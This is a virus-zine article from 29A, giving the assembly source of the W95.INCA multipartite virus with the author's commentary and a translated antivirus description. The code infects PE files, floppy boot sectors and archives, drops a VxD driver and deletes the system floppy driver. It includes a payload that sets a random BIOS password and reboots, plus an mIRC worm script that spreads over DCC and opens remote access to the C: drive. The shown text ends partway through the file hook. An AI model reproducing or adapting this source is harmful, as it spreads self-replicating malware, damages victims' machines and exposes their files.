Copy Link
Add to Bookmark
Report
29A Issue 03 04 08
;[W95.INCA] Multipartite PE/BOOT polymorphic mIRC spreading infector
;Copyright 1998 (c) Vecna
;
;This is my first attempt at w95 plataform. Is a multipartite infector of PE
;filez, focused in fast spreading. It infect PE files by adding a new section
;randomly named and a polymorphic VxD-dropper. It infect ARJ/ZIP/RAR/LHA/PAK
;by adding a random named COM dropper, encripted by a polymorphic loop. It
;infect boot of floppies by adding a polymorphic loader to their boot sectorz.
;It spread over internet using DCC protocol provided by mIRC, using a worm to
;spread over channelz. In the internet part is also the payload activation.
;
;The polymorphic decriptor in PE files isnt based in math instructionz, but
;in swapping. This novel technic of encription should provide problemz to
;disinfection and detection i hope, as not the whole code is "encripted" , but
;just some chunkz. The polymorphic decriptor is filled by lotz of conditionalz
;and unconditional jumpz.
;
;The polymorphic engine that generate the droppers and the boot loader keep
;track of the contentz of all regz and flagz, as in advanced engines as
;Uruguay or Level3. This mean that if i need AX holding 0x0202, as for load 2
;sectorz in the boot loader, i can obtain this values using XOR AX, ??? or
;ADD AX, ??? and like.
;
;This source isnt compilable as is. Use the pre-compiled virus.
;
;
;Here's the description of w95/Inca by DrWeb, translated from russian to
;english by Lurker (thankz!!)
;
;
;Win95. Inca
;
; Dangerous resident polymorphic multipartite virus. Win95.Inca
; infects EXE files in a format of PE (Portable Executable) for
; operation systems Windows95/98 and boot sectors of floppy
; disks. And also Win95.Inca is a virus-worm for ARJ, LHA, LZH,
; PAK, RAR and ZIP-archives and for the mIRC32 program.
;
; When infected PE file is started, the virus receives management
; and polymorphic decryptor deciphers the base code of a virus.
; And this decoding is made by enough unusual way - in initial variant
; the base virus code will contatin the table of indexes or displacements
; of original bytes in the virus body. And it is necessary to understand
; that decoding in this case will be substitution or compilation
; original bytes on place of their one-byte indexes or displacements.
; After given "assembly" of the code, virus determines (by
; "already standard" for this type of viruses algorithm) the address
; of interesting for it functions in KERNEL32.DLL and creates
; a file C:\W95INCA.COM, in which file virus writes a polymorphic
; DOS COM dropper.
;
; This polymorphic 16bit DOS-code is already generated on infection of
; the PE EXE-file, and because of that any "additional efforts" for
; creation of a polymorphic copies on the given stage are not undertaken.
; Then the created file is closed.
; This dropper file is executed by the virus and then, after some delay,
; deleted. Further the virus returnes back management to the
; infected host PE-file.
; This is all actions, which carries out a virus code in the PE EXE-file.
; Therefore, it is possible to consider all infected PE EXE-files, as
; droppers.
;
; The C:\W95INCA.COM file, executed by the virus, determines Windows
; directory (WINDIR) and tries to create in the \WINDOWS\SYSTEM folder
; a file with the name FONO98.VXD.
; If this attempt is successful, the virus unpacks
; with the elementary algorithm, a code of the 32bit VxD-driver,
; which is contained inside of the 16bit DOS-code, and writes it in
; this newly created FONO98.VXD file.
;
; Further virus opens a configuration Windows file SYSTEM.INI, searches
; in it for the section "[386Enh]" and just below this line
; writes a line "device=fono98.vxd".
;
; After described manipulations, or, if the line "device=fono98.vxd"
; is already is present in the SYSTEM.INI, or file FONO98.VXD
; was created earlier in the \WINDOWS\SYSTEM folder, or,
; if it wasn't possible to find the WINDOWS folder, virus finishes its
; work and returns management to DOS.
;
; After the system reboot and on the next startof Windows virus
; VxD-driver FONO98.VXD is loaded by the system into a memory and
; runned.
;
; In a first task, the virus driver deletes system VxD-driver HSFLOP.PDR
; in the catalogue \WINDOWS\SYSTEM\IOSUBSYS folder. Then virus reads
; in memory a code from its own FONO98.VXD and creates in memory
; three different polymorphic copies: for infection PE EXE-files,
; for infection of boot-sectors of floppies and for creation of
; 16bit DOS droppers in a format of COM-files.
; Futher, in a current session, and untill the next system reboot,
; virus will infect the specified objects only with these copies.
;
; Win95.Inca concerns to a class of the "slow polymorpics".
; Further virus "intercepts" IFSMgr FileSystemApiHook and Int 13h
; (disk operations), establishing on them its own events handlers.
;
; IFSMgr handler of the virus supervises opening files. On the
; opening files with extensions EXE and SCR, virus checks their
; internal format, and if the opening files are Portable Executable,
; virus infects them, by creating additional code section with a
; random name in the header of PE-file and writing in its area virus
; polymorphic code. On opening of archive files with the extensions
; LHA, LZH, PAK, ZIP, ARJ or RAR, the virus adds to the given
; archives its 16bit polymorphic code (worm) in a format of COM-file,
; also modifies header of the archive files in such a manner that
; the this virus-worm appears placed in the archive in a unpacked
; form (store format) also receives a random name, consisting from
; four letters, and with the extension COM or EXE (for example, AAAA.COM
; or ABCD.EXE). On opening of the MIRC32.EXE file (program for
; "chat" over the Internet) the virus writes or adds in the end
; of the configuration file MIRC.INI, line " [fileserver]" and
; "Warning = Off".
;
; Also virus creates a new (if they exist on a disk) files SCRIPT.OLD,
; SCRIPT.INI, INCA.EXE and REVENGE.COM.
; In the file INCA.EXE, virus writes a code of the polymorphic 16bit
; virus-worm. In the file REVENGE.COM - 231 bytes of the trojan code,
; that rewrites the content of the CMOS-memory.
; [*Authors Note - It put a password in AMI/AWARD BIOS*]
;
; And in the file SCRIPT.INI virus writes text of the virus MIRC-worm.
;
; On start of the MIRC32.INI under scenario of the SCRIPT.INI,
; it runs the file INCA.EXE. Further under the same scenario it
; tries to send files SCRIPT.INI (mIRC-worm) and INCA.EXE (virus
; dropper) to computers of all members of the "chat conversation" in
; the Internet.
; If during the chat there will appaer a text string "El_inca",
; under the scenario of the SCRIPT.INI - trojan program REVENGE.COM
; will be launched. If somebody will "tell a word" "ancev",
; the virus script "will allow" him to access disk drive C:.
; Even if this person is for several thousand miles from the infected
; computer.
;
; And if at the time of "conversation" there will appear a text
; "_29A_", the program MIRC32.EXE will self-exits.
;
; Virus handler of the disk operations on the Int 13h, supervises
; the reading of the boot sectors of the floppes in the drive A:
; and on an opportunity infects them, by replacing the original
; boot loader with polymorphic, and writing on a disk its own
; copies.
;
; On a booting from such infected floppy, virus loader will
; receive management, and will read to memory all sectors with the
; virus code, "will intercept" Int 1Ch (timer), and then Int 21h.
; A task of the Int21h handler is simple - on the first
; opportunity, it tries to create FONO98.VXD in the
; C:\WINDOWS\SYSTEM folder and to register
; it in the SYSTEM.INI configuration file (in the "[386Enh]" section).
; The task is exactly the same, as well as performed by a
; C:\W95INCA.COM file-dropper, algorithm of which was
; described in the beginning.
; A difference only that the dropper C:\W95INCA.COM determines
; the lochation of Windows system folder fome a variable WINDIR.
; And Int21h handler tries to place dropper in the C:\WINDOWS\SYSTEM
; folder.
; After the given attempt (successful or not) the virus
; "releases" Int21h and neutralizes its own copy in memory.
;
; The virus contains text "El Inca virus".
;
; The size of the virus VxD-driver is 15327 bytes.
;
; So, all infected objects can be considered as virus-hosts or droppers,
; except created by the virus VxD-driver.
; This VxD-driver installs virus copy in memory, and hits all other
; objects. However you see that it does not infect
; "similar to itself" VxD-drivers. VxD-driver is only the carrier
; of an infection, but it is not an infected object.
;
MINSIZEINFECT EQU 8*1024 ;zopy me - i want to trawel
BPB STRUC
bpb_jmp db 3 dup (?)
bpb_oem db 8 dup (?)
bpb_b_s dw ?
bpb_s_c db ?
bpb_r_s dw ?
bpb_n_f db ?
bpb_r_e dw ?
bpb_t_s dw ?
bpb_m_d db ?
bpb_s_f dw ?
bpb_s_t dw ?
bpb_n_h dw ?
bpb_h_d dw ?
bpb_sht db 20h dup (?)
BPB ENDS
.386p
.XLIST
Include Vmm.Inc
Include Ifs.Inc
Include Ifsmgr.Inc
.LIST
Declare_Virtual_Device FONO98, 1, 0, FONO98_Control, Undefined_Device_ID,,,
VxD_Locked_Code_Seg
IncaName db 'INCA.EXE', 0 ;Vars used by the virus
NextHook dd 0
FileHandle dd 0
FileSize dd 0
FileAttr dd 0
Pad dd 0
BufferOneHandle dd 0
BufferTwoHandle dd 0
VxDCompressedBuffer dd 0
VxDCompressedSize dd 0
PolyBootSize dd 0
PolyBootBuffer dd 0
PolyDOSFileBuffer dd 0
PolyDOSFileSize dd 0
PolyPESize dd 0
PolyPEBuffer dd 0
VMF_handle dd 0
VMF_size dd 0
VMF_base dd 0
OurFile db 0
FloppyInUse db 0
UpDown db 0
Compressed db 0
CrpTbl db 200h dup (0)
SectorBuffer Equ This Byte
CrcTab db 2048 dup (0)
FileName Equ This Byte
VMM32Path db MAX_PATH dup (0)
ZIPRHeaderId db 'PK' ;Structures used when
ZIPRSignature db 01, 02 ;infecting archivers
ZIPRVerMade dw 10
ZIPRVerNeed dw 0ah
ZIPRFlags dw 0
ZIPRMethod dw 0
ZIPRTimeDate dd 12345678h
ZIPRCRC32 dd 0
ZIPRCompressed dd 0
ZIPRUncompressed dd 0
ZIPRSizeFilename dw ZIPRNameLenght
ZIPRExtraField dw 0
ZIPRCommentSize dw 0
ZIPRDiskNumba dw 0
ZIPRInternalAttr dw 01
ZIPRExternalAttr dd 21h
ZIPROffsetLHeaderR dd 0
ZIPRFilename db 'AAAA.COM'
ZIPRNameLenght Equ This Byte - offset32 ZIPRFilename
ZIPRHeaderSize Equ This Byte - offset32 ZIPRHeaderId
ZIPLHeaderId db 'PK'
ZIPLSignature dw 0403h
ZIPLVersionNeed dw 0010
ZIPLFlags dw 80h
ZIPLMethod dw 0
ZIPLDateTime dd 12345678h
ZIPLCRC32 dd 0
ZIPLCompressed dd 0
ZIPLUncompressed dd 0
ZIPLSizeFilename dw ZIPLNameLenght
ZIPLExtraField dw 0
ZIPLFilename db 'AAAA.COM'
ZIPLNameLenght Equ This Byte - offset32 ZIPLFilename
ZIPReadBuffer Equ This Byte
ZIPEHeaderId db 'PK'
ZIPSignature dw 0
ZIPNoDisk dw 0
ZIPNoStartDisk dw 0
ZIPEntryDisk dw 0
ZIPEntrysDir dw 0
ZIPSizeDir dd 0
ZIPOffsetDir dd 0
ZIPCommentLenght dw 0
ZIPEHeaderSize Equ This Byte - offset32 ZIPEHeaderId
ARJHeaderId dw 0ea60h
ARJHeaderSize dw offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize
ARJ1HEaderSize db offset32 ARJFilename-offset32 ARJ1HeaderSize
ARJVersionDone db 6
ARJVersionNeed db 1
ARJHostOS db 0
ARJFlags db 0
ARJMethod db 0
ARJType db 0
ARJReserved db 0
ARJDateTime dd 12345678h
ARJCompressedSize dd 0
ARJUncompressedSize dd 0
ARJFileCRC dd 0
ARJEntryname dw 0
ARJAccessMode dw 21h
ARJHostData dw 0
ARJFilename db 'AAAA.COM',0
ARJComment db 0
ARJHeaderCRC dd 0
ARJExtHeader dw 0
ARJEnd dw 0ea60h, 0000h
RARHeaderCRC dw 0
RARHeaderType db 74h
RARFileFlags dw 08000h
RARHeaderSize dw offset32 RARHeaderEnd - offset32 RARHeaderCRC
RARCompressedSize dd 0
RARUncompressedSize dd 0
RARHostOS db 0
RARFileCRC dd 0
RARDateTime dd 12345678h
RARVersionNeed db 14h
RARMethod db 30h
RARFileNameSize dw offset32 RARHeaderEnd - offset32 RARFileName
RARFileAttribute dd 21h
RARFileName db 'AAAA.COM'
RARHeaderEnd Equ This Byte
LHASig db LHAHeaderSize-2
LHAHeaderCRC db 0
LHAMethod db '-lh0-'
LHACompressedSize dd 0
LHAUncompressedSize dd 0
LHADateTime dd 12345678h
LHAFlags dw 120h
LHANameLenght db offset32 LHASizeFilename - offset32 LHAFilename
LHAFilename db 'AAAA.COM'
LHASizeFilename Equ This Byte
LHACRC16 dw 0
LHAStuff db 'M'
LHAStuff2 dw 0
LHAHeaderSize Equ This Byte - offset32 LHASig
MyVxDName db "FONO98.VXD",0
SizeVxDName Equ This Byte - offset32 MyVxDName
FloppyVxD db "IOSUBSYS\HSFLOP.PDR", 0
SizeFloppyVxDName Equ This Byte - offset32 FloppyVxD
BootLoaderSize Equ BootLoaderEnd-BootLoader
BootLoader: ;This code is inserted in
cli ;0/1/15 in 1.44 floppies
xor ax, ax
mov ss, ax
mov sp, 7c00h ;It is loaded by the
sti ;polymorphic loader inserted
cld ;in the boot code
mov ds, ax
dec word ptr ds:[413h]
int 12h ;reserve 1kb and copy ourself
ror ax, 10 ;to the reserved hole
mov es, ax
call delta
delta:
pop si
push ds
sub si, offset delta ;full of bugs and hardcoded
xor di, di ;references, as you can see :(
push cs
mov cx, 200h
pop ds
rep movsw ;copy 1kb of code
pop ds
push es
push offset hstart
retf ;continue in TOM
hstart:
xor ax, ax
mov es, ax
mov ax, 0201h
mov cx, 0001h
mov dx, 0180h
mov bx, 7c00h
int 13h ;read HDD boot sector
cmp word ptr [bx+3h], 'SM'
jne fuck
cmp word ptr [bx+1f1h], 'IW'
jne fuck
xor eax, eax
mov ds, ax
mov dword ptr ds:[21h*4], eax ;initialize int21
mov ax, offset int1c
mov si, 1ch*4
mov di, offset old1c
cli
xchg ax, word ptr ds:[si]
push cs
pop es
stosw
mov ax, cs
xchg ax, word ptr ds:[si+2] ;hook int1c
stosw
sti
fuck:
cld
xor ax, ax
mov di, offset loader
mov cx, offset fuck-offset loader
rep stosb ;wipe some parts of loader
db 0eah ;from memory to reduce
dw 7c00h ;footprints
dw 0
Zopy0:
push cs
cld
mov di, offset int1c
mov cx, offset int1c-offset e_vxd
sub ax, ax
pop es
rep stosb ;wipe all virus loader code
no_4b00: ;(less some bytes)
popad
pop es
pop ds
int 0ffh
retf 2
int1c:
push ds
pushad
push 0
pop ds
mov cx, word ptr ds:[21h*4+2]
db 081h, 0f9h ;cmp cx, 0
dw 0
i1c_check equ word ptr $ -2
je not_yet ;did int21 seg changed?
mov word ptr cs:[i1c_check], cx
mov cx, 0
time_2 equ word ptr $ -2
inc word ptr cs:[time_2] ;increase number of changes
cmp cl, 3
jnz not_yet ;changed 3 times?
mov esi, 21h*4
mov edi, 0ffh*4
mov eax, dword ptr ds:[esi]
mov dword ptr ds:[edi], eax ;copy int21 to int0ff
mov ax, cs
rol eax, 16
mov ax, offset int21
mov dword ptr ds:[esi], eax ;hook int21 to our code
mov eax, dword ptr cs:[old1c]
mov dword ptr ds:[1ch*4], eax ;restore int1c
not_yet:
popad
pop ds
db 0eah
old1c dd 0
read_vxd:
mov ax, 8000h ;if the floppy was retired,
mov ds, ax ;shit happen... :(
mov es, ax
sub bx, bx
mov dx, 0000h
call read_last_track ;read 79/0/1 and 79/1/1 to
jc error ;mem
mov dx, 0100h
add bx, (18*512)
read_last_track: ;init FDD controller
sub ax, ax
int 13h
mov ax, 0212h
mov cx, 4f01h
int 13h ;read track(head is selected
error: ;above)
ret
int21:
push ds
push es
pushad
push 0
pop ds
cmp ax, 4b00h ;is first exec?
jne no_4b00
mov eax, dword ptr ds:[0ffh*4]
mov dword ptr ds:[21h*4], eax ;restore int21
cld
call infect_system ;drop our vxd
jmp Zopy0 ;and wipe loader out of mem
infect_system:
call read_vxd
jc error
sub si, si ;RLE compressed vxd is in mem
mov di, ((18*512)*2)
mov cx, word ptr cs:[c_vxd]
call uncompress16 ;uncompress VXD
push cs
pop ds
call vxd
db 'C:\WINDOWS\SYSTEM\FONO98.VXD', 0
vxd: ;when i said hardcoded
pop dx ;reference, is this i mean :((
mov ah, 5bh
mov cx, 11b
int 0ffh ;only create if not exists
jc error
xchg ax, bx
push es
pop ds
mov cx, word ptr cs:[e_vxd]
mov ah, 40h
mov dx, ((18*512)*2)
int 0ffh ;write uncompressed vxd
jc close
mov ah, 3eh
int 0ffh
push cs
call system
db 'C:\WINDOWS\SYSTEM.INI', 0 ;another hardcoded reference :(
system:
pop dx
pop ds
mov ax, 3d02h
int 0ffh ;modify system.ini
jc error
mov ax, 8000h
mov ds, ax
sub dx, dx
mov ah, 3fh
mov cx, -1
int 0ffh
jc close ;read whole system.ini
push cs
pop es
mov si, dx
mov di, offset enh386
mov cx, 10
search:
push di
push si
push cx
rep cmpsb ;search for [Enh386] section
je found
pop cx
pop si
pop di
inc si
dec ax
jnz search
jmp close
found:
add sp, 6
mov di, ax
pusha
mov di, offset device
mov cx, 19
rep cmpsb ;we are already registered?
popa
je close
mov dx, si
mov ax, 4200h
int 0ffh
jc close
mov ah, 40h
mov cx, 19
mov dx, offset device
int 0ffh ;write our device line
jc close
mov ah, 40h
mov cx, di
mov dx, si
int 0ffh ;and rest of file
close:
mov ah, 3eh
int 0ffh
ret
uncompress16:
mov dx, di ;RLE decompression
push dx
mov bx, si
add bx, cx
next:
lodsb
or al, al
jne store
lodsw
mov cx, ax
xor ax, ax
rep stosb
dec di
store:
stosb
cmp di, 0ff00h
ja abortnow ;a safeguard to avoid mem
cmp si, bx ;overwriting
jbe next
abortnow:
pop bx
mov cx, di
sub cx, bx
ret
enh386 db '[386Enh]', 13, 10
device db 'device=fono98.vxd', 13, 10
VxDCompressSize dw 0
VxDOriginalSize dw 0
BootLoaderEnd Equ This Byte
LoaderSize Equ LoaderEnd-Loader
InfectWindows95 PROC ;This code is the main dropper
call Delta ;for the viral VXD
Delta:
pop bp
sub bp, offset Delta
mov es, es:[2ch] ;get environment
mov di, -1
SearchWINDIR:
inc di
cmp di, 1024
jae ReturnBack
cmp byte ptr es:[di], 'w' ;found a 'w'?
jne SearchWINDIR
push si
push di
lea si, [bp+offset WinDir]
mov cx, 7
rep cmpsb ;check if is windir=
pop di
pop si
jne SearchWINDIR ;if not, keep searching
add di, 7
mov word ptr [bp+WinDX], di
mov word ptr [bp+WinDS], es ;save windows directory
push es
pop ds
mov si, di
push cs
pop es
lea di, [bp+offset Buffer]
NextLetter:
lodsb
or al, al
je CopyString
stosb
jmp NextLetter ;copy win95 dir to buffer
CopyString:
push cs
pop ds
lea si, [bp+offset SysDir]
NextLetterAgain:
lodsb
stosb
or al, al
jnz NextLetterAgain ;append path and vxd name
push cs
push cs
pop es
pop ds
mov ah, 5bh
mov cx, 011b
lea dx, [bp+offset Buffer]
int 21h ;create vxd if it not exists
jc ReturnBack
push ax
lea si, [bp+offset EndLoader]
mov di, si
add di, 30000
mov cx, word ptr [bp+VxDSize1]
call Uncompress16 ;uncompress vxd
pop bx
mov ah, 40h
mov cx, word ptr [bp+VxDSize2]
int 21h ;write vxd
jc Close
mov ah, 3eh
int 21h
InfectSYSTEMINI:
mov si, word ptr [bp+WinDX]
mov ds, word ptr [bp+WinDS]
lea di, [bp+offset Buffer]
NextLtr:
lodsb
or al, al
je CopyStr
stosb
jmp NextLtr ;copy windows dir to buffer
CopyStr: ;again
push cs
pop ds
lea si, [bp+offset SysIni] ;append system.ini
NxtLetter:
lodsb
stosb
or al, al
jnz NxtLetter
mov ax,3d02h
lea dx, [bp+offset Buffer]
int 21h
jc ReturnBack ;open system.ini
xchg ax, bx
mov ah, 3fh
mov cx, -1
lea dx, [bp+offset VxDHere]
int 21h
jc Close
mov si, dx
lea di, [bp+offset Enh386]
mov cx, 10
Search:
push di
push si
push cx
rep cmpsb ;search for right section
je Found
pop cx
pop si
pop di
inc si
dec ax
jnz Search
jmp Close
Found:
add sp, 6
mov di, ax
pusha
lea di, [bp+offset Device]
mov cx, 19
rep cmpsb ;already infected?
popa
je Close
mov dx, si
sub dx, offset VxDHere
sub dx, bp
mov ax, 4200h
int 21h
jc Close
mov ah, 40h
mov cx, 19
lea dx, [bp+offset Device]
int 21h ;write our device line
jc Close
mov ah, 40h
mov cx, di
sub cx, 10h
mov dx, si
int 21h
Close:
mov ah, 3eh
int 21h
ReturnBack:
mov ax, 4c00h
int 21h ;exit to DOS
Uncompress16:
mov dx, di
push dx ;uncompress RLE
mov bx, si ;(hmm... a bit redundant...)
add bx, cx
Next:
lodsb
or al, al
jne Store
lodsw
mov cx, ax
xor ax, ax
rep stosb
dec di
Store:
stosb
cmp di, 0ff00h
ja AbortNow
cmp si, bx
jbe Next
AbortNow:
pop bx
mov cx, di
sub cx, bx
ret
Enh386 db '[386Enh]', 13, 10
Device db 'device=fono98.vxd', 13, 10
WinDir db 'windir='
SysIni db '\SYSTEM.INI', 0
SysDir db '\SYSTEM\'
VxDName db 'FONO98.VXD',0
WinDS dw 0
WinDX dw 0
UpDown db 0
Compressed db 0
Buffer db 64 dup(0)
VxDSize2 dw 0
VxDSize1 dw 0
EndLoader Equ This Byte
VxDHere Equ This Byte
LoaderEnd Equ This Byte
BeginProc Compress32
mov edx, esi ;compressor of modificated RLE
add edx, ecx ;coded in 32bit
xor eax, eax
xor ecx, ecx
push edi
@1:
lodsb
or al, al
jnz @2
inc ecx
jmp @1
@2:
or ecx, ecx
jz @4
@5:
push eax
xor eax, eax
stosb
xchg eax, ecx
stosw
pop eax
@4:
stosb
@6:
cmp esi, edx
jbe @1
@3:
pop edx
mov ecx, edi
sub ecx, edx
ret
EndProc Compress32
Killer db 'REVENGE.COM', 0
KCode Equ This Byte
Payload:
push 0f000h ;our copyrighted payload :)
pop es
xor di, di
mov cx, -1
scan:
pusha
mov si, offset award
mov cx, 5
repe cmpsb ;search ROM for AWARD signature
popa
jz award_psw
inc di
loop scan
mov ax, 002fh ;if not found, assume AMI BIOS
call read
mov bx, ax
mov al, 2dh
call step1
or al, 00010000b ;Put a random password in CMOS
call step2 ;memory, for ask it always,
mov al, 2fh ;and correct checksum
mov dh, bl
call write
mov al, 3eh
call read
mov ah, al
mov al, 3fh
call read
mov bx, ax
mov ax, 0038h
call rndpsw
mov al, 39h
call rndpsw
mov dh, bh
mov al, 3eh
call write
mov dh, bl
mov al, 3fh
call write
jmp hehehe
award_psw:
mov ax, 002fh
call read
mov bx, ax ;Put the password in CMOS
mov al, 11h ;for AWARD BIOS machines
call step1
or al, 00000001b
call step2
mov al, 1bh
call step1
or al, 00100000b
call step2
mov al, 2fh
mov dh, bl
call write
mov al, 7dh
call read
mov ah, al
mov al, 7eh
call read
mov bx, ax
mov ax, 0050h
call rndpsw ;for ask always, and correcting
mov al, 51h ;the checksum, of course :)
call rndpsw
mov dh, bh
mov al, 7dh
call write
mov dh, bl
mov al, 7eh
call write
hehehe:
sti ;reboot machine, so the user
mov al, 0feh ;notice the payload soon ;)
out 64h, al
jmp hehehe
read:
and al, 7fh ;CMOS read
out 70h, al
jmp $+2
jmp $+2
in al, 71h
ret
write:
and al, 7fh ;CMOS write
out 70h, al
jmp $+2
mov al, dh
out 71h, al
ret
rndpsw: ;make random password but
mov dh, al ;mantain correct checksum
call read
sub bx, ax
in al, 40h
add bx, ax
xchg al, dh
call write
ret
step1:
mov dh, al ;checksum
call read
sub bx, ax
ret
step2: ;checksum
add bx, ax
xchg al, dh
call write
ret
award db 'AWARD'
KCodeSize Equ $ - KCode
ScriptSize Equ ScriptIniEnd - ScriptIni
ScriptIni:
[script]
n0=run $mircdirinca.exe ;run virus dropper when mIRC
;start
n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
n2= /dcc send $nick $mircdirscript.ini
n3= /dcc send $nick $mircdirinca.exe
n4=}
n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }
n6= /dcc send $nick $mircdirscript.ini
n7= /dcc send $nick $mircdirinca.exe
n8=} ;on /JOIN and /LEAVE, we send
;the script and the virus
;dropper to the target
n9=ON 1:TEXT:*el_inca*:#:/run $mircdirrevenge.com
;when this is said, the souls
;of thousands of dead Inca
;indians come to take revenge
n10=ON 1:TEXT:*ancev*:#:/fserve $nick 666 c:\
;just for the case that the
;host have something i want ;)
n11=ON 1:TEXT:*_29A_*:#:/quit
;everybody bow in awe before
;our power!!
ScriptIniEnd Equ This Byte
ScriptName db 'SCRIPT.INI', 0
ScriptName2 db 'SCRIPT.OLD', 0
MircIni db 'MIRC.INI', 0
InsertSize Equ IMircIniEnd - IMircIni
IMircIni:
db 13, 10 ;this is inserted in MIRC.INI
db '[fileserver]', 13, 10 ;to avoid warnings when we
db 'Warning=Off', 13, 10 ;start the /FSERVER
IMircIniEnd Equ This Byte
BeginProc FONO98_Device_Init
VMMCall Close_Boot_Log
xor al, al
mov [OurFile], al
mov [UpDown], al
mov [Compressed], al
mov [FloppyInUse], al ;init flags
in ax, 40h
ror eax, 16
in ax, 40h
mov dword ptr [seed], eax ;init rnd seed
mov esi, offset32 ScriptIni
mov edi, esi
mov ecx, ScriptSize
DecriptScript:
lodsb
not al ;decript viral script.ini
stosb
loop DecriptScript
GetPathToVMM:
cld
VMMCall Get_Exec_Path
jc ErrorDone
mov edi, edx
mov ecx, 0ffh
xor al, al
repne scasb ;find end of string
sub edi, edx
mov ecx, edi
mov edi, edx
mov esi, offset32 VMM32Path
pushad
xchg esi, edi
push ecx
rep movsb ;copy it to our buffer
std ;(next time i will use
pop ecx ;GetSystemPath, i swear ;)
mov al, "\"
repne scasb
cld
inc edi
inc edi
DeleteFloppyVxD:
pushad
mov esi, offset32 FloppyVxD
mov ecx, SizeFloppyVxDName
rep movsb ;HSFLOP.PDR
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
xor ecx, ecx
mov esi, offset32 VMM32Path
VxDCall IFSMgr_Ring0_FileIO ;kill attribs and delete the
mov eax, R0_DELETEFILE ;32bit driver for floppies
VxDCall IFSMgr_Ring0_FileIO
popad
CopyMyVxDName:
mov esi, offset32 MyVxDName
mov ecx, SizeVxDName
rep movsb ;append viral vxd and path
popad
ReadVxDAndCompress:
mov eax, R0_OPENCREATFILE
mov ebx, 0ff00h
xor ecx, ecx
mov edx, 1
VxDCall IFSMgr_Ring0_FileIO
jc ErrorDone ;autopen vxd
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ErrorDone
mov [VxDOriginalSize], ax
mov [VxDSize2], ax
mov ecx, eax
call AllocMemory ;alloc some memory and read
jz ErrorDone ;our vxd to this buffer
mov [BufferOneHandle], eax
mov esi, eax
mov eax, R0_READFILE
xor edx, edx
VxDCall IFSMgr_Ring0_FileIO
jnc NoError
ErrorFreeBlock:
mov eax, [BufferOneHandle]
call DeAllocMemory
jmp ErrorDone
NoError:
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov ecx, (512*18)*2
call AllocMemory
jz ErrorDone
mov [BufferTwoHandle], eax
mov esi, [BufferOneHandle]
mov edi, eax
mov [VxDCompressedBuffer], edi
call Compress32 ;compress VXD using a simple
mov [VxDCompressSize], cx ;RLE scheme
mov [VxDCompressedSize], ecx
mov [VxDSize1], cx
mov esi, [BufferOneHandle]
push esi
mov byte ptr [maq], 0
call gldr ;make poly boot (16bit)
pop ecx
xchg ecx, edi
sub ecx, edi
mov [PolyBootSize], ecx
mov edx, [BufferOneHandle]
push HEAPNOCOPY
push ecx
push edx
VMMCall _HeapReAllocate ;set buffer to right size
add esp, 12
mov [PolyBootBuffer], eax
mov ecx, 20000
call AllocMemory
jz ErrorDone
mov esi, eax
push eax
mov byte ptr [maq], -1
call gldr ;generate file poly (16bit)
mov ah, byte ptr [key]
mov esi, offset32 Loader
mov ecx, LoaderSize
DosEncriptLoop:
lodsb
xor al, ah
stosb
loop DosEncriptLoop ;encript loader
mov esi, [VxDCompressedBuffer]
mov ecx, [VxDCompressedSize]
DosEncriptLoop2:
lodsb
xor al, ah
stosb
loop DosEncriptLoop2 ;zopy and encript vxd
pop ecx
mov edx, ecx
xchg ecx, edi
sub ecx, edi
mov [PolyDOSFileSize], ecx
mov [PEDOSSize], ecx
push HEAPNOCOPY
push ecx
push edx
VMMCall _HeapReAllocate
add esp, 12
mov [PolyDOSFileBuffer], eax
mov ecx, 40000
call AllocMemory
jz ErrorDone
mov edi, eax
mov ecx, [PolyDOSFileSize]
add ecx, PELoaderSize
call peng ;make our cool PE poly (32bit)
push HEAPNOCOPY
mov [PolyPESize], ecx
push ecx
push edx
VMMCall _HeapReAllocate
add esp, 12
mov [PolyPEBuffer], eax
InstallAPIHook:
mov eax, offset32 FONO98_File_System
push eax ;install our file hook
VxDCall IFSMgr_InstallFileSystemApiHook
add esp, 4
mov [NextHook], eax
InstallV86Hook:
mov eax, 13h ;install our disk hook
mov esi, offset32 FONO98_Disk_System
VMMCall Hook_V86_Int_Chain
clc
db 0b0h ;from here, is a mov al, xx
ErrorDone:
db 0fdh ;from here, is a stc ;)
ret
EndProc FONO98_Device_Init
BeginProc FONO98_Disk_System
pushad
cmp [FloppyInUse], 0
jne Exit13Error ;dont reenter
inc [FloppyInUse]
cmp [OurFile], 0 ;we're infecting?
jnz Exit13
movzx eax, word ptr [ebp.Client_AX]
movzx ecx, word ptr [ebp.Client_CX]
movzx edx, word ptr [ebp.Client_DX]
cmp ax, 201h
jne Exit13
cmp cx, 1
jne Exit13
or dx, dx
jnz Exit13 ;if not floppy boot, exit
InfectBoot:
mov ebx, offset32 SectorBuffer
VxDInt 13h
jc Exit13
mov ax, word ptr [ebx]
cmp al, 0ebh ;if sector dont start with a
jne Exit13 ;short jump, bail out
movzx eax, ah
lea eax, [ebx+eax+2] ;calculate destination of
cmp word ptr [ebx+1feh], 0aa55h ;jump(to insert out code)
jne Exit13
cmp word ptr [ebx.bpb_t_s], 2880 ;is a valid 1.44 floppy?
jne Exit13
sub word ptr [ebx.bpb_t_s], 18*2 ;steal 36 sectorz
push eax
mov ecx, [PolyBootSize]
add eax, ecx
sub eax, ebx
cmp eax, 510
pop edi
jae Exit13 ;will our code use more space
mov esi, [PolyBootBuffer] ;than we have?
rep movsb
mov eax, 301h ;write our cool boot sector
inc ecx
VxDInt 13h
jc Exit13
mov eax, 312h
sub edx, edx
mov ecx, 4f01h
mov ebx, [VxDCompressedBuffer]
VxDInt 13h ;write first part of compressed
jc Exit13 ;VXD
mov eax, 312h
mov edx, 100h
mov ecx, 4f01h
mov ebx, [VxDCompressedBuffer]
add ebx, 512*18 ;write the second part of it
VxDInt 13h
jc Exit13
mov eax, 0302h
mov edx, 0100h
mov ecx, 000fh ;write loader to the end of the
mov ebx, offset32 BootLoader ;root directory
VxDInt 13h
jc Exit13
Exit13:
mov [FloppyInUse], 0
Exit13Error:
popad
stc ;service not finished
ret
EndProc FONO98_Disk_System
BeginProc FONO98_File_System, High_Freq
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+12], IFSFN_Open
jne ExitNow ;only hook FileOpenz
WeAreUsingAPI:
cmp [OurFile], 0
